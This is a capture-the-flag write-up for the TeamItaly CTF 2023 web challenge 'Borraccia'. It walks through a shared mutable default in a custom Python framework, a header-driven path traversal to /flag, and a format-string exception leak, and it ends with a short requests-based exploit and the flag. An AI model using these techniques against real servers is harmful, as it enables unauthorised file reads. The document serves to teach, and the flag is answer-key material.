Skip to content
This repository has been archived by the owner on Oct 15, 2023. It is now read-only.

Latest commit

 

History

History

Borraccia

TeamItaly CTF 2023

[web] Borraccia (2 solves)

I introduce to you Borraccia!

Borraccia is a minimal web framework which puts security first. Are you asking how he does it? Well, by removing (almost) all the features that I consider useless. Obviously it's written in Python, so it's 100% safe!

Note: You are limited to 60 requests per minute. It's recommended to test it locally first.

Site: http://borraccia.challs.teamitaly.eu

Author: Salvatore Abello <@salvatore.abello>

Overview

In this challenge we are given an application which uses a custom, poorly-written web framework, called Borraccia (Flask in italian). The challenge is tagged as a misc, so we probably need to use some Python shenanigans in order to solve the challenge.

The first thing that catches our attention is something called ObjDict, let's see how it's implemented and what it does:

class ObjDict:
    def __init__(self, d={}):
        self.__dict__['_data'] = d # Avoiding Recursion errors on __getitem__

    def __getattr__(self, key):
        if key in self._data:
            return self._data[key]
        return None

    def __contains__(self, key):
        return key in self._data

    def __setattr__(self, key, value):
        self._data[key] = value

    def __getitem__(self, key):
        return self._data[key]

    def __setitem__(self, key, value):
        self._data[key] = value

    def __delitem__(self, key):
        del self._data[key]

    def __enter__(self, *args):
        return self

    def __exit__(self, *args):
        self.__dict__["_data"].clear()

    def __repr__(self):
        return f"ObjDict object at <{hex(id(self))}>"

    def __iter__(self):
        return iter(self._data)

Basically, this class works like an object in JavaScript:

obj = ObjDict() # We can also use `with` operator
obj.first = 10
obj.second = "20"

print(obj.first) # 10
print(obj.second) # 20
print(obj.third) # None

print(obj.secondobj.first) # Error

obj.secondobj = ObjDict()
obj.secondobj.test = "yay"

print(obj.secondobj.test) # yay

At first glance this class would seem fine, but if you know at least the basics of Python, you can see that this class uses a mutable object as default argument!

So, each and every instance of ObjDict shares the same dictionary! This will come in handy later...

Read a file using status codes

We need to read the flag from /flag somehow, so there's probably a path traversal.

We can see three interesting functions:

  • serve_file
  • serve_static_file
  • serve_error

The first two functions are not used inside server.py, so the only function left is serve_error.

Inside server.py:

ctx.response.body = utils.serve_error(ctx.response.status_code)

If we can control the value of status_code, we can read arbitrary files. But... How?! Isn't status_code only modified by the server?

Let's see how the request/response is handled:

ctx.response = ObjDict() 
ctx.request = ObjDict()
    
ctx.response.status_code = 200 # Default value

Oh! Did you see that? ctx.response and ctx.request shares the same dictionary!

We can overwrite values thanks to:

for probable_header in filter(None, rows[1:]): # Memorizing headers
    if (cap:=HEADER_RE.search(probable_header)):
        header = cap.group(1)
        value = cap.group(2)

        h = utils.normalize_header(header)
        v = utils.normalize_header_value(value)
        ctx.request[h] = v 

So, if we send a request with status-code: /flag the server will send the flag to us... Right?

Unfortunately no, let's take a look inside request_handler:

Playing with string formatting

try:
    utils.build_header(ctx) # Now the response is ready to be sent
    utils.log(logging, f"[{curr}]\t{ctx.request.method}\t{ctx.response.status_code}\t{address[0]}", "DEBUG", ctx)    
    assert ctx.response.status_code in ERRORS or ctx.response.status_code == 200
except AssertionError:
    raise # Something unexpected happened, close conection immediately
except Exception as e: 
    ctx.response.status_code = 500
    ctx.response.header = ""
    ctx.response.body = utils.serve_error(ctx.response.status_code) + utils.make_comment(f"{e}") # Something went wrong while building the header.
    

client.send((ctx.response.header + ctx.response.body).encode())

The flag will be loaded inside ctx.response.body but it will not be sent due to that assert, but if we're able to cause an exception (but not an AssertionError) with the flag inside, we can receive it.

The first error that came into my mind is, KeyError:

test = {}
flag = "flag{fake}"
try:
    test[flag]
except KeyError as e:
    print(e) # 'flag{fake}'

Let's see how utils.log is implemented:

def log(log, s, mode="INFO", ctx=None):
    {
        "DEBUG": log.debug,
        "INFO": log.info,
        "ERROR": log.error
    }[mode](s.format(ctx), {"mode": mode})

Do you see something SUSpicious? Of course you do. We can exploit s.format in order to force logging to cause an exception:

def log(log, s, mode="INFO", ctx=None):
    {
        "DEBUG": log.debug,
        "INFO": log.info,
        "ERROR": log.error
    }[mode](s.format(ctx), {"mode": mode})

try:
    log(logging, "%(flag{fake_flag})s")
except Exception as e:
    print(e) # flag{fake_flag}

We can send a similar header in order to get the flag:

status-code: %({0[response][body]})s

But this is not going to work, there's a blacklist:

@lru_cache
def normalize_header_value(s: str) -> str:
    return re.sub(r"[%\"\.\n\'\!:\(\)]", "", s)

So we can't use the following characters: %".\n'!:()

Since the blacklist is applied only to headers, we can bypass this by e.g putting those blacklisted characters inside request.params.

Exploit

import re
import requests

r = requests.get("http://borraccia.challs.teamitaly.eu?a=%(&b=)s",
            headers={
                    "status-code": "/flag",
                    "method": "{0[request][params][a]}{0[response][body]}{0[request][params][b]}"
            })

print("FLAG:", re.search(r"<!--'(flag\{.+\})'-->", r.text).group(1))

Flag

flag{4Ss3r7_3v3ry7h1nG!1!1!}